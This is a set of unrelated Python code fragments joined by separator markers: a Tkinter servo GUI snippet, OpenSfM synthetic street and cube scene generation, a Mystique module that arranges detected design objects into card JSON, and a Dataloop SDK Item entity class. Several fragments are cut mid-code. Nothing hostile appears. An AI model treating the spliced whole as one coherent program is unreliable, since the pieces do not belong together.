self.butServoMinimum3.grid(column = 6, row = 6, columnspan = 1, rowspan = 1, sticky = 'NW')
self.butServoMinimum4 = Tkinter.Button(self, text = 'Save\nminimum', command = self.butServoMinimum4_click)
self.butServoMinimum4['font'] = ('Arial', 12, '')
self.butServoMinimum4.grid(column = 8, row = 6, columnspan = 1, rowspan = 1, sticky = 'NW')
# The servo values (read from the controller)
self.lblServo1 = Tkinter.Label(self, text = '-')
| |
import functools
import math
from typing import Dict, Optional, List, Any, Union, Tuple, Callable
import numpy as np
import opensfm.synthetic_data.synthetic_dataset as sd
import opensfm.synthetic_data.synthetic_generator as sg
import opensfm.synthetic_data.synthetic_metrics as sm
from opensfm import pygeometry, types, pymap, pysfm, geo
def get_camera(
type: str, id: str, focal: float, k1: float, k2: float
) -> pygeometry.Camera:
camera = None
if type == "perspective":
camera = pygeometry.Camera.create_perspective(focal, k1, k2)
if type == "fisheye":
camera = pygeometry.Camera.create_fisheye(focal, k1, k2)
if type == "spherical":
camera = pygeometry.Camera.create_spherical()
camera.id = id
camera.height = 1600
camera.width = 2000
return camera
def get_scene_generator(type: str, length: float, **kwargs) -> functools.partial:
generator = None
if type == "circle":
generator = functools.partial(sg.ellipse_generator, length, length)
if type == "ellipse":
ellipse_ratio = 2
generator = functools.partial(
sg.ellipse_generator, length, length / ellipse_ratio
)
if type == "line":
center_x = kwargs.get("center_x", 0)
center_y = kwargs.get("center_y", 0)
transpose = kwargs.get("transpose", True)
generator = functools.partial(
sg.line_generator, length, center_x, center_y, transpose
)
assert generator
return generator
def camera_pose(
position: np.ndarray, lookat: np.ndarray, up: np.ndarray
) -> pygeometry.Pose:
"""
Pose from position and look at direction
>>> position = [1.0, 2.0, 3.0]
>>> lookat = [0., 10.0, 2.0]
>>> up = [0.0, 0.0, 1.0]
>>> pose = camera_pose(position, lookat, up)
>>> np.allclose(pose.get_origin(), position)
True
"""
def normalized(x: np.ndarray) -> np.ndarray:
return x / np.linalg.norm(x)
ez = normalized(np.array(lookat) - np.array(position))
ex = normalized(np.cross(ez, up))
ey = normalized(np.cross(ez, ex))
pose = pygeometry.Pose()
pose.set_rotation_matrix([ex, ey, ez])
pose.set_origin(position)
return pose
class SyntheticScene(object):
def get_reconstruction(self) -> types.Reconstruction:
raise NotImplementedError()
class SyntheticCubeScene(SyntheticScene):
"""Scene consisting of cameras looking at point in a cube."""
def __init__(self, num_cameras: int, num_points: int, noise: float):
self.reconstruction = types.Reconstruction()
self.cameras = {}
for i in range(num_cameras):
camera = camera = pygeometry.Camera.create_perspective(0.9, -0.1, 0.01)
camera.id = "camera%04d" % i
camera.height = 600
camera.width = 800
self.cameras[camera.id] = camera
self.reconstruction.cameras = self.cameras
r = 2.0
for i in range(num_cameras):
phi = np.random.rand() * math.pi
theta = np.random.rand() * 2.0 * math.pi
x = r * np.sin(theta) * np.cos(phi)
y = r * np.sin(theta) * np.sin(phi)
z = r * np.cos(theta)
position = np.array([x, y, z])
alpha = np.random.rand()
lookat = np.array([0.0, 0, 0])
up = np.array([alpha * 0.2, alpha * 0.2, 1.0])
shot_id = "shot%04d" % i
camera_id = "camera%04d" % i
pose = camera_pose(position, lookat, up)
self.reconstruction.create_shot(shot_id, camera_id, pose)
points = np.random.rand(num_points, 3) - [0.5, 0.5, 0.5]
for i, p in enumerate(points):
point_id = "point" + str(i)
pt = self.reconstruction.create_point(point_id, p)
pt.color = [100, 100, 20]
def get_reconstruction(self) -> types.Reconstruction:
reconstruction = types.Reconstruction()
# Copy our original reconstruction
# since we do not want to modify the reference
reconstruction.cameras = self.cameras
for shot in self.reconstruction.shots.values():
reconstruction.create_shot(shot.id, shot.camera.id, shot.pose)
for point in self.reconstruction.points.values():
pt = reconstruction.create_point(point.id, point.coordinates)
pt.color = point.color
return reconstruction
class SyntheticStreetScene(SyntheticScene):
"""Scene consisting in a virtual street extruded along some
parametric shape (line, ellipse), with camera placed along
the shape.
"""
generator: Optional[Callable]
wall_points: Optional[np.ndarray]
floor_points: Optional[np.ndarray]
shot_ids: List[List[str]]
shot_positions: List[np.ndarray]
shot_rotations: List[np.ndarray]
cameras: List[pygeometry.Camera]
instances_positions: List[np.ndarray]
instances_rotations: List[np.ndarray]
rig_instances: List[List[List[Tuple[str, str]]]]
rig_cameras: List[List[pymap.RigCamera]]
width: float
def __init__(self, generator: Optional[Callable]):
self.generator = generator
self.wall_points = None
self.floor_points = None
self.shot_ids = []
self.shot_positions = []
self.shot_rotations = []
self.cameras = []
self.instances_positions = []
self.instances_rotations = []
self.rig_instances = []
self.rig_cameras = []
self.width = 0.0
def combine(self, other_scene: "SyntheticStreetScene") -> "SyntheticStreetScene":
combined_scene = SyntheticStreetScene(None)
combined_scene.wall_points = np.concatenate(
(self.wall_points, other_scene.wall_points)
)
combined_scene.floor_points = np.concatenate(
(self.floor_points, other_scene.floor_points)
)
combined_scene.shot_positions = self.shot_positions + other_scene.shot_positions
combined_scene.shot_rotations = self.shot_rotations + other_scene.shot_rotations
combined_scene.cameras = self.cameras + other_scene.cameras
combined_scene.instances_positions = (
self.instances_positions + other_scene.instances_positions
)
combined_scene.instances_rotations = (
self.instances_rotations + other_scene.instances_rotations
)
combined_scene.rig_instances = self.rig_instances + other_scene.rig_instances
combined_scene.rig_cameras = self.rig_cameras + other_scene.rig_cameras
combined_scene.shot_ids = self.shot_ids + other_scene.shot_ids
shift = 0
for subshots in combined_scene.shot_ids:
for i in range(len(subshots)):
subshots[i] = f"Shot {i+shift:04d}"
shift += len(subshots)
return combined_scene
def add_street(
self, points_count: int, height: float, width: float
) -> "SyntheticStreetScene":
self.wall_points, self.floor_points = sg.generate_street(
sg.samples_generator_random_count(int(points_count // 3)),
self.generator, # pyre-fixme [6]
height,
width,
)
self.width = width
return self
def perturb_walls(self, walls_pertubation: float) -> "SyntheticStreetScene":
sg.perturb_points(self.wall_points, walls_pertubation) # pyre-fixme [6]
return self
def perturb_floor(self, floor_pertubation: float) -> "SyntheticStreetScene":
sg.perturb_points(self.floor_points, floor_pertubation) # pyre-fixme [6]
return self
def set_terrain_hill(
self, height: float, radius: float, repeated: bool
) -> "SyntheticStreetScene":
if not repeated:
self._set_terrain_hill_single(height, radius)
else:
self._set_terrain_hill_repeated(height, radius)
return self
def _set_terrain_hill_single(self, height: float, radius: float):
# pyre-fixme [16]: `Optional` has no attribute `__getitem__`
self.wall_points[:, 2] += height * np.exp(
-0.5 * np.linalg.norm(self.wall_points[:, :2], axis=1) ** 2 / radius ** 2
)
self.floor_points[:, 2] += height * np.exp(
-0.5 * np.linalg.norm(self.floor_points[:, :2], axis=1) ** 2 / radius ** 2
)
for positions in self.shot_positions + self.instances_positions:
for position in positions:
position[2] += height * np.exp(
-0.5
* np.linalg.norm(
(position[0] ** 2 + position[1] ** 2) / radius ** 2
)
)
def _set_terrain_hill_repeated(self, height: float, radius: float):
# pyre-fixme [16]: `Optional` has no attribute `__getitem__`
self.wall_points[:, 2] += height * np.sin(
np.linalg.norm(self.wall_points[:, :2], axis=1) / radius
)
self.floor_points[:, 2] += height * np.sin(
np.linalg.norm(self.floor_points[:, :2], axis=1) / radius
)
for positions in self.shot_positions + self.instances_positions:
for position in positions:
position[2] += height * np.sin(
math.sqrt(position[0] ** 2 + position[1] ** 2) / radius
)
def add_camera_sequence(
self,
camera: pygeometry.Camera,
start: float,
length: float,
height: float,
interval: float,
position_noise: List[float],
rotation_noise: float,
positions_shift: Optional[List[float]] = None,
):
default_noise_interval = 0.25 * interval
positions, rotations = sg.generate_cameras(
sg.samples_generator_interval(
start, length, interval, default_noise_interval
),
self.generator, # pyre-fixme [6]
height,
)
sg.perturb_points(positions, position_noise)
sg.perturb_rotations(rotations, rotation_noise)
if positions_shift:
positions += np.array(positions_shift)
self.shot_rotations.append(rotations)
self.shot_positions.append(positions)
shift = 0 if len(self.shot_ids) == 0 else len(self.shot_ids[-1])
self.shot_ids.append([f"Shot {shift+i:04d}" for i in range(len(positions))])
self.cameras.append(camera)
return self
def add_rig_camera_sequence(
self,
cameras: List[pygeometry.Camera],
relative_positions: List[List[float]],
relative_rotations: List[List[float]],
start: float,
length: float,
height: float,
interval: float,
position_noise: List[float],
rotation_noise: float,
):
default_noise_interval = 0.25 * interval
instances_positions, instances_rotations = sg.generate_cameras(
sg.samples_generator_interval(
start, length, interval, default_noise_interval
),
self.generator, # pyre-fixme [6]
height,
)
sg.perturb_points(instances_positions, position_noise)
sg.perturb_rotations(instances_rotations, rotation_noise)
shots_ids_per_camera = []
for rig_camera_p, rig_camera_r, camera in zip(
relative_positions, relative_rotations, cameras
):
pose_rig_camera = pygeometry.Pose(rig_camera_r)
pose_rig_camera.set_origin(rig_camera_p)
rotations = []
positions = []
for instance_p, instance_r in zip(instances_positions, instances_rotations):
pose_instance = pygeometry.Pose(instance_r)
pose_instance.set_origin(instance_p)
composed = pose_rig_camera.compose(pose_instance)
rotations.append(composed.rotation)
positions.append(composed.get_origin())
self.shot_rotations.append(np.array(rotations))
self.shot_positions.append(np.array(positions))
shift = sum(len(s) for s in shots_ids_per_camera)
shots_ids_per_camera.append(
[f"Shot {shift+i:04d}" for i in range(len(positions))]
)
self.cameras.append(camera)
self.shot_ids += shots_ids_per_camera
rig_camera_ids = []
rig_cameras = []
rig_camera_id_shift = sum(len(s) for s in self.rig_cameras)
for i, (rig_camera_p, rig_camera_r) in enumerate(
zip(relative_positions, relative_rotations)
):
pose_rig_camera = pygeometry.Pose(rig_camera_r)
pose_rig_camera.set_origin(rig_camera_p)
rig_camera_id = f"RigCamera {rig_camera_id_shift + i}"
rig_camera = pymap.RigCamera(pose_rig_camera, rig_camera_id)
rig_camera_ids.append(rig_camera_id)
rig_cameras.append(rig_camera)
self.rig_cameras.append(rig_cameras)
rig_instances = []
for i in range(len(instances_positions)):
instance = []
for j in range(len(shots_ids_per_camera)):
instance.append((shots_ids_per_camera[j][i], rig_camera_ids[j]))
rig_instances.append(instance)
self.rig_instances.append(rig_instances)
self.instances_positions.append(instances_positions)
self.instances_rotations.append(instances_rotations)
return self
def get_reconstruction(self) -> types.Reconstruction:
floor_color = [120, 90, 10]
wall_color = [10, 90, 130]
return sg.create_reconstruction(
[self.floor_points, self.wall_points], # pyre-fixme [6]
# pyre-fixme[6]: Expected `List[np.ndarray]` for 2nd param but got
# `List[List[int]]`.
[floor_color, wall_color],
self.cameras,
self.shot_ids,
# pyre-fixme[6]: Expected `List[List[np.ndarray]]` for 5th param but got
# `List[np.ndarray]`.
self.shot_positions,
# pyre-fixme[6]: Expected `List[List[np.ndarray]]` for 6th param but got
# `List[np.ndarray]`.
self.shot_rotations,
# pyre-fixme[6]: Expected `List[List[List[str]]]` for 7th param but got
# `List[List[List[Tuple[str, str]]]]`.
self.rig_instances,
# pyre-fixme[6]: Expected `Optional[List[List[np.ndarray]]]` for 8th
# param but got `List[np.ndarray]`.
self.instances_positions,
# pyre-fixme[6]: Expected `Optional[List[List[np.ndarray]]]` for 9th
# param but got `List[np.ndarray]`.
self.instances_rotations,
self.rig_cameras,
)
class SyntheticInputData:
"""Class that generate all data necessary to run SfM processes end-to-end
based on some input Reconstruction (synthetic or not), by re-creating inputs
(GPS, projections) based on some required amount of noise.
"""
reconstruction: types.Reconstruction
exifs: Dict[str, Any]
features: sd.SyntheticFeatures
tracks_manager: pymap.TracksManager
gcps: Dict[str, pymap.GroundControlPoint]
def __init__(
self,
reconstruction: types.Reconstruction,
reference: geo.TopocentricConverter,
projection_max_depth: float,
projection_noise: float,
gps_noise: Union[Dict[str, float], float],
causal_gps_noise: bool,
gcps_count: Optional[int] = None,
gcps_shift: Optional[np.ndarray] = None,
on_disk_features_filename: Optional[str] = None,
generate_projections: bool = True,
):
self.reconstruction = reconstruction
self.exifs = sg.generate_exifs(
reconstruction, reference, gps_noise, causal_gps_noise=causal_gps_noise
)
if generate_projections:
(self.features, self.tracks_manager, self.gcps) = sg.generate_track_data(
reconstruction,
projection_max_depth,
projection_noise,
gcps_count,
gcps_shift,
on_disk_features_filename,
)
else:
self.features = sd.SyntheticFeatures(None)
self.tracks_manager = pymap.TracksManager()
def compare(
reference: types.Reconstruction, | |
"""Module for arranging the design elements for the Card json"""
from typing import List, Dict, Union
from mystique import config
from mystique import default_host_configs
from .design_objects_template import ObjectTemplate
from .extract_properties import CollectProperties
from .extract_properties import ExtractProperties
from .group_design_objects import ChoicesetGrouping
from .group_design_objects import ColumnsGrouping
from .group_design_objects import ImageGrouping
class CardArrange:
"""
Handles the collecting all the design objects and arranging them
positionally.
-Grouping the closer y range image objects into image sets
-Grouping the closer y range design objects into columnset
-Grouping the closer x range radiobuttons into choicesets
-Removing the overlapping design objects detected in faster rcnn
model
"""
column_coords = [[]] * 4
columns_ymins = []
columns_xmins = []
def find_iou(self, coord1, coord2, inter_object=False) -> List:
"""
Finds the intersecting bounding boxes by finding
the highest x and y ranges of the 2 coordinates
and determine the intersection by deciding weather
the new xmin>xmax or the new ymin>ymax.
For non image objects, includes finding the intersection
area to a threshold to determine intersection
@param coord1: list of coordinates of 1st object
@param coord2: list of coordinates of 2nd object
@param inter_object: check for cleaning between different overlapping
objects.
@return: [True/False, point1 area, point2 area]
"""
x5 = max(coord1[0], coord2[0])
y5 = max(coord1[1], coord2[1])
x6 = min(coord1[2], coord2[2])
y6 = min(coord1[3], coord2[3])
# no intersection
if x6 - x5 <= 0 or y6 - y5 <= 0:
return [False]
intersection_area = (x6 - x5) * (y6 - y5)
point1_area = (coord1[2] - coord1[0]) * (coord1[3] - coord1[1])
point2_area = (coord2[2] - coord2[0]) * (coord2[3] - coord2[1])
iou = (intersection_area
/ (point1_area + point2_area - intersection_area))
# -if iou check is for inter object overlap removal check only for
# intersection.
# -if not for inter objects overlap check for iou >= threshold
if ((point1_area + point2_area - intersection_area == 0)
or (inter_object and iou > 0)
or (iou >= config.IOU_THRESHOLD)):
return [True, point1_area, point2_area]
return [False]
def remove_actionset_textbox_overlapping(self, design_object1: Dict,
design_object2: Dict,
box1: List[float],
box2: List[float],
position1: int,
position2: int) -> Union[int,
None]:
"""
If the passed 2 design objects are actionset and textbox, then
returns the position to remove the textboxes detected inside the
actionset objects.
@param design_object1: design object 1
@param design_object2: design object 1
@param box2: design object 1's coordinates
@param box1: design object 1's coordinates
@param position1: design object 1's position
@param position2: design object 2's position
@return: Returns the position if overlaps else returns None
"""
# TODO: This workaround will be removed once the model is able to
# differentiate the text-boxes and action-sets efficiently.
if len({design_object1.get("object", ""),
design_object2.get("object", "")} & {"actionset",
"textbox"}) == 2:
contains = (
(box2[0] <= box1[0] <= box2[2])
and (box2[1] <= box1[1] <= box2[3])
)
intersection = self.find_iou(box1, box2, inter_object=True)
if contains or intersection[0]:
if design_object1.get("object") == "textbox":
return position1
else:
return position2
else:
return None
def remove_noise_objects(self, json_objects: Dict):
"""
Removes all noisy objects by eliminating all smaller and intersecting
objects within / with the bigger objects.
@param json_objects: list of detected objects.
"""
points = []
for deisgn_object in json_objects["objects"]:
points.append(deisgn_object.get("coords"))
positions_to_delete = []
for ctr, point in enumerate(points):
box1 = point
for ctr1 in range(ctr + 1, len(points)):
box2 = points[ctr1]
# check if there's a textbox vs actionset overlap
# remove the textbox
position = self.remove_actionset_textbox_overlapping(
json_objects["objects"][ctr],
json_objects["objects"][ctr1],
box1, box2, ctr, ctr1)
if position:
positions_to_delete.append(position)
else:
# if a textbox vs actionset overlap remove with iuo
iou = self.find_iou(box1, box2)
if iou[0]:
box1_area = iou[1]
box2_area = iou[2]
if (box1_area > box2_area
and ctr1 not in positions_to_delete):
positions_to_delete.append(ctr1)
elif ctr not in positions_to_delete:
positions_to_delete.append(ctr)
points = [p for ctr, p in enumerate(
points) if ctr not in positions_to_delete]
json_objects["objects"] = [deisgn_object for deisgn_object in
json_objects["objects"] if
deisgn_object.get("coords") in points]
def append_image_objects(self, image_urls=None, image_coords=None,
pil_image=None, json_object=None,
image_sizes=None):
"""
Appends the extracted image objects to the list of design objects
along with its proprties extarcted.
@param image_urls: list of image object urls
@param image_coords: list of image object cooridnates
@param pil_image: input PIL image
@param json_object: list of design objects
@param image_sizes: list of image object sizes
"""
extract_properties = ExtractProperties()
for ctr, im in enumerate(image_urls):
coords = image_coords[ctr]
coords = (coords[0], coords[1], coords[2], coords[3])
object_json = dict().fromkeys(
["object", "xmin", "ymin", "xmax", "ymax"], "")
object_json["object"] = "image"
object_json[
"horizontal_alignment"] = extract_properties.get_alignment(
image=pil_image, xmin=float(coords[0]),
xmax=float(coords[2]))
object_json["data"] = im
object_json["xmin"] = coords[0]
object_json["ymin"] = coords[1]
object_json["xmax"] = coords[2]
object_json["ymax"] = coords[3]
object_json["image_size"] = pil_image.size
# resize the image object size if the deisgn image is
# greater than 1000px width and height
width, height = image_sizes[ctr]
keys = list(default_host_configs.IMAGE_SIZE.keys())
size = "Auto"
width_key = min(keys, key=lambda x: abs(x - width))
height_key = min(keys, key=lambda x: abs(x - height))
if width_key == height_key:
size = default_host_configs.IMAGE_SIZE[width_key]
object_json["size"] = size
object_json["coords"] = ",".join([str(coords[0]),
str(coords[1]), str(coords[2]),
str(coords[3])])
json_object["objects"].append(object_json)
def return_position(self, groups, obj):
"""
Returns the position of an dictionary inside
a list of dictionaries
@param groups: list of dictionaries
@param obj: dictionary
@return: position if found else -1
"""
for i in range(len(groups)):
if obj in groups[i]:
return i
return -1
def append_objects(self, design_object: Dict, body: List[Dict],
ymins=None) -> None:
"""
Appends the individaul design elements to card body
@param design_object: design element to append
@param body: list of design elements
@param ymins: list of ymin of design elements
"""
object_template = ObjectTemplate(design_object)
template_object = getattr(object_template, design_object.get("object"))
body.append(template_object())
if ymins is not None:
ymins.append(design_object.get("ymin"))
def add_column_objects(self, columns: List[Dict], radio_buttons_dict: Dict,
colummn_set: Dict) -> List[Dict]:
"""
Adds the grouped columns into the columnset [ individual objects and
choicesets ]
@param columns: List of column objects
@param radio_buttons_dict: Dict of radiobutton objects with its
position
mapping [ inside a columnset or not ]
@param colummn_set: Columnset object
@return: list of collected image objects inside the columnset
"""
choiceset_grouping = ChoicesetGrouping(self)
image_objects_columns = []
self.column_coords[0] = []
self.column_coords[1] = []
self.column_coords[2] = []
self.column_coords[3] = []
for ctr, design_objects in enumerate(columns):
colummn_set["columns"].append({
"type": "Column",
"width": "stretch",
"items": []
})
design_objects = sorted(design_objects, key=lambda i: i["ymin"])
all_columns_value = [[]] * 4
all_columns_value[0] = []
all_columns_value[1] = []
all_columns_value[2] = []
all_columns_value[3] = []
for ctr1, design_object in enumerate(design_objects):
# collect ratio buttons and image objects and add other
# design objects to the card json
if design_object.get("object") == "radiobutton":
if ctr not in list(radio_buttons_dict["columnset"].keys()):
radio_buttons_dict["columnset"] = radio_buttons_dict[
"columnset"].fromkeys([ctr], {})
radio_buttons_dict["columnset"][ctr].update(
{ctr1: design_object})
elif design_object.get("object") == "image":
image_objects_columns.append(design_object)
else:
self.append_objects(
design_object, colummn_set["columns"][ctr].get(
"items", []))
# collect the coords value for the deisgn objects
self.columns_ymins.append(design_object.get("ymin"))
all_columns_value[0].append(design_object.get("xmin"))
all_columns_value[1].append(design_object.get("ymin"))
all_columns_value[2].append(design_object.get("xmax"))
all_columns_value[3].append(design_object.get("ymax"))
if ctr1 == len(design_objects) - 1:
# get the max value of the collected column coordinates
self.columns_xmins.append(design_object.get("xmin"))
self.column_coords[0].append(max(all_columns_value[0]))
self.column_coords[1].append(max(all_columns_value[1]))
self.column_coords[2].append(max(all_columns_value[2]))
self.column_coords[3].append(max(all_columns_value[3]))
# choiceset grouping
if (len(radio_buttons_dict["columnset"]) > 0
and ctr <= len(colummn_set["columns"])
and ctr in list(radio_buttons_dict["columnset"].keys())):
choiceset_grouping.group_choicesets(
radio_buttons_dict["columnset"][ctr],
colummn_set["columns"][ctr].get("items",
[]))
key = next(iter(radio_buttons_dict["columnset"][0]))
# collect coords for grouped choice sets
self.column_coords[0].append(
radio_buttons_dict["columnset"][ctr][key].get("xmin"))
self.column_coords[1].append(
radio_buttons_dict["columnset"][ctr][key].get("ymin"))
self.column_coords[2].append(
radio_buttons_dict["columnset"][ctr][key].get("xmax"))
self.column_coords[3].append(
radio_buttons_dict["columnset"][ctr][key].get("ymax"))
self.columns_ymins.append(
radio_buttons_dict["columnset"][ctr][key].get("ymin"))
self.columns_xmins.append(
radio_buttons_dict["columnset"][ctr][key].get("xmin"))
# sort the design objects within the columns of the
# columnset based on ymin values
colummn_set["columns"][ctr]["items"] = [x for _, x in sorted(
zip(all_columns_value[1],
colummn_set["columns"][ctr]["items"]),
key=lambda x: x[0])]
return image_objects_columns
def arrange_columns(self, columns: List[Dict], radio_buttons_dict: Dict,
body: List[Dict], ymins: List,
group: List[Dict], image) -> None:
"""
Identifies imagesets and arrange the columnset in the card json body
@param columns: List of column objects
@param radio_buttons_dict: Dict of radiobutton objects with its
position
mapping [ inside a columnset or not ]
@param body: card json body
@param ymins: list of design object's ymin values
@param group: list of object in a particular group
@param image: input PIL image for column width extraction
"""
image_grouping = ImageGrouping(self)
collect_properties = CollectProperties()
colummn_set = {
"type": "ColumnSet",
"columns": []
}
# add individual items and radiobuttons inside the column
image_objects_columns = self.add_column_objects(columns,
radio_buttons_dict,
colummn_set)
ctr = len(columns) - 1
# arrange the image objects and imageset objects inside the columns
if len(image_objects_columns) > 0:
(image_objects_columns,
imageset_coords) = image_grouping.group_image_objects(
image_objects_columns,
| |
<gh_stars>1-10
from collections import namedtuple
from enum import Enum
import traceback
import logging
import attr
import copy
import os
from .. import repositories, entities, services, exceptions
from .annotation import ViewAnnotationOptions
logger = logging.getLogger(name=__name__)
class ItemStatus(str, Enum):
COMPLETED = "completed"
APPROVED = "approved"
DISCARDED = "discarded"
@attr.s
class Item(entities.BaseEntity):
"""
Item object
"""
# item information
annotations_link = attr.ib(repr=False)
dataset_url = attr.ib()
thumbnail = attr.ib(repr=False)
created_at = attr.ib()
dataset_id = attr.ib()
annotated = attr.ib(repr=False)
metadata = attr.ib(repr=False)
filename = attr.ib()
stream = attr.ib(repr=False)
name = attr.ib()
type = attr.ib()
url = attr.ib(repr=False)
id = attr.ib()
hidden = attr.ib(repr=False)
dir = attr.ib(repr=False)
spec = attr.ib()
# name change
annotations_count = attr.ib()
# api
_client_api = attr.ib(type=services.ApiClient, repr=False)
_platform_dict = attr.ib(repr=False)
# entities
_dataset = attr.ib(repr=False)
_project = attr.ib(repr=False)
# repositories
_repositories = attr.ib(repr=False)
@property
def createdAt(self):
logger.warning(
'Deprecation Warning - param "createdAt" will be deprecated from version "1.41.0'
'Use "created_at"')
return self.created_at
@property
def datasetId(self):
logger.warning(
'Deprecation Warning - param "datasetId" will be deprecated from version "1.41.0'
'Use "dataset_id"')
return self.dataset_id
@staticmethod
def _protected_from_json(_json, client_api, dataset=None):
"""
Same as from_json but with try-except to catch if error
:param _json: platform json
:param client_api: ApiClient entity
:param dataset: dataset entity
:return:
"""
try:
item = Item.from_json(_json=_json,
client_api=client_api,
dataset=dataset)
status = True
except Exception:
item = traceback.format_exc()
status = False
return status, item
@classmethod
def from_json(cls, _json, client_api, dataset=None, project=None, is_fetched=True):
"""
Build an item entity object from a json
:param project: project entity
:param _json: _json response from host
:param dataset: dataset in which the annotation's item is located
:param client_api: ApiClient entity
:param is_fetched: is Entity fetched from Platform
:return: Item object
"""
dataset_id = None
if dataset is not None:
dataset_id = _json.get('datasetId', None)
if dataset.id != dataset_id and dataset_id is not None:
logger.warning('Item has been fetched from a dataset that is not belong to it')
dataset = None
else:
dataset_id = dataset.id
metadata = _json.get('metadata', dict())
inst = cls(
# sdk
platform_dict=copy.deepcopy(_json),
client_api=client_api,
dataset=dataset,
project=project,
# params
annotations_link=_json.get('annotations', None),
thumbnail=_json.get('thumbnail', None),
dataset_id=_json.get('datasetId', dataset_id),
annotated=_json.get('annotated', None),
dataset_url=_json.get('dataset', None),
created_at=_json.get('createdAt', None),
annotations_count=_json.get('annotationsCount', None),
hidden=_json.get('hidden', False),
stream=_json.get('stream', None),
dir=_json.get('dir', None),
filename=_json.get('filename', None),
metadata=metadata,
name=_json.get('name', None),
type=_json.get('type', None),
url=_json.get('url', None),
id=_json.get('id', None),
spec=_json.get('spec', None)
)
inst.is_fetched = is_fetched
return inst
############
# entities #
############
@property
def dataset(self):
if self._dataset is None:
self._dataset = self.datasets.get(dataset_id=self.dataset_id, fetch=None)
assert isinstance(self._dataset, entities.Dataset)
return self._dataset
@property
def project(self):
if self._project is None:
if self._dataset is None:
if self._dataset is None:
self._dataset = self.datasets.get(dataset_id=self.dataset_id, fetch=None)
self._project = self._dataset.project
if self._project is None:
raise exceptions.PlatformException(error='2001',
message='Missing entity "project".')
assert isinstance(self._project, entities.Project)
return self._project
################
# repositories #
################
@_repositories.default
def set_repositories(self):
reps = namedtuple('repositories',
field_names=['annotations', 'datasets', 'items', 'codebases', 'artifacts', 'modalities',
'features'])
reps.__new__.__defaults__ = (None, None, None, None, None, None, None)
if self._dataset is None:
items = repositories.Items(client_api=self._client_api,
dataset=self._dataset,
dataset_id=self.dataset_id,
datasets=repositories.Datasets(client_api=self._client_api, project=None))
datasets = items.datasets
features = repositories.Features(client_api=self._client_api,
project=self._project)
else:
items = self.dataset.items
datasets = self.dataset.datasets
features = self.dataset.features
r = reps(annotations=repositories.Annotations(client_api=self._client_api,
dataset_id=self.dataset_id,
item=self,
dataset=self._dataset),
items=items,
datasets=datasets,
codebases=None,
artifacts=None,
modalities=Modalities(item=self),
features=features)
return r
@property
def modalities(self):
assert isinstance(self._repositories.modalities, Modalities)
return self._repositories.modalities
@property
def annotations(self):
assert isinstance(self._repositories.annotations, repositories.Annotations)
return self._repositories.annotations
@property
def datasets(self):
assert isinstance(self._repositories.datasets, repositories.Datasets)
return self._repositories.datasets
@property
def items(self):
assert isinstance(self._repositories.items, repositories.Items)
return self._repositories.items
@property
def features(self):
assert isinstance(self._repositories.features, repositories.Features)
return self._repositories.features
##############
# Properties #
##############
@property
def height(self):
return self.metadata.get('system', dict()).get('height', None)
@height.setter
def height(self, val):
if 'system' not in self.metadata:
self.metadata['system'] = dict()
self.metadata['system']['height'] = val
@property
def width(self):
return self.metadata.get('system', dict()).get('width', None)
@width.setter
def width(self, val):
if 'system' not in self.metadata:
self.metadata['system'] = dict()
self.metadata['system']['width'] = val
@property
def fps(self):
return self.metadata.get('fps', None)
@fps.setter
def fps(self, val):
self.metadata['fps'] = val
@property
def mimetype(self):
return self.metadata.get('system', dict()).get('mimetype', None)
@property
def size(self):
return self.metadata.get('system', dict()).get('size', None)
@property
def system(self):
return self.metadata.get('system', dict())
@property
def description(self):
description = None
if 'description' in self.metadata:
description = self.metadata['description'].get('text', None)
return description
@property
def platform_url(self):
return self._client_api._get_resource_url(
"projects/{}/datasets/{}/items/{}".format(self.project.id, self._dataset.id, self.id))
@property
def snapshot_partition(self):
return self.metadata['system'].get('snapshotPartition', None)
@snapshot_partition.setter
def snapshot_partition(self, partition):
"""
Adds partition to the item. this is need when working with dl.Snapshot
Note - correct usage is to use dl.Snapshot builtin methods
:param partition: `entities.SnapshotPartitionType
:return: True if successful
"""
if partition not in list(entities.SnapshotPartitionType):
raise exceptions.SDKError(message="{!r} is not a supported partition: {{ {} }}".format(
partition,
list(entities.SnapshotPartitionType)))
try:
self.metadata['system']['snapshotPartition'] = partition
self.update(system_metadata=True)
except Exception:
logger.error('Error updating snapshot partition. Please use platform')
logger.debug(traceback.format_exc())
@description.setter
def description(self, text: str):
"""
Update Item description
:param text: if None or "" description will be deleted
:return
"""
raise NotImplementedError("Set description update the item in platform, use set_description(text: str) instead")
###########
# Functions #
###########
def to_json(self):
"""
Returns platform _json format of object
:return: platform json format of object
"""
_json = attr.asdict(self,
filter=attr.filters.exclude(attr.fields(Item)._repositories,
attr.fields(Item)._dataset,
attr.fields(Item)._project,
attr.fields(Item)._client_api,
attr.fields(Item)._platform_dict,
attr.fields(Item).annotations_count,
attr.fields(Item).dataset_url,
attr.fields(Item).annotations_link,
attr.fields(Item).spec,
attr.fields(Item).created_at,
attr.fields(Item).dataset_id,
))
_json.update({'annotations': self.annotations_link,
'annotationsCount': self.annotations_count,
'dataset': self.dataset_url,
'createdAt': self.created_at,
'datasetId': self.dataset_id,
})
if self.spec is not None:
_json['spec'] = self.spec
return _json
def download(
self,
# download options
local_path=None,
file_types=None,
save_locally=True,
to_array=False,
annotation_options: ViewAnnotationOptions = None,
overwrite=False,
to_items_folder=True,
thickness=1,
with_text=False,
annotation_filters=None
):
"""
Download dataset by filters.
Filtering the dataset for items and save them local
Optional - also download annotation, mask, instance and image mask of the item
:param local_path: local folder or filename to save to disk or returns BytelsIO
:param file_types: a list of file type to download. e.g ['video/webm', 'video/mp4', 'image/jpeg', 'image/png']
:param save_locally: bool. save to disk or return a buffer
:param to_array: returns Ndarray when True and local_path = False
:param annotation_options: download annotations options: list(dl.ViewAnnotationOptions)
:param overwrite: optional - default = False
:param to_items_folder: Create 'items' folder and download items to it
:param thickness: optional - line thickness, if -1 annotation will be filled, default =1
:param with_text: optional - add text to annotations, default = False
:param annotation_filters: Filters entity to filter annotations for download
:return: Output (list)
"""
# if dir - concatenate local path and item name
if local_path is not None:
if os.path.isdir(local_path):
local_path = os.path.join(local_path, self.name)
else:
_, ext = os.path.splitext(local_path)
if not ext:
os.makedirs(local_path, exist_ok=True)
local_path = os.path.join(local_path, self.name)
# download
return self.items.download(items=self,
local_path=local_path,
file_types=file_types,
save_locally=save_locally,
to_array=to_array,
annotation_options=annotation_options,
overwrite=overwrite,
to_items_folder=to_items_folder,
annotation_filters=annotation_filters,
thickness=thickness,
with_text=with_text)
def delete(self):
"""
Delete item from platform
:return: True
"""
return self.items.delete(item_id=self.id)
def update(self, system_metadata=False):
"""
Update items metadata
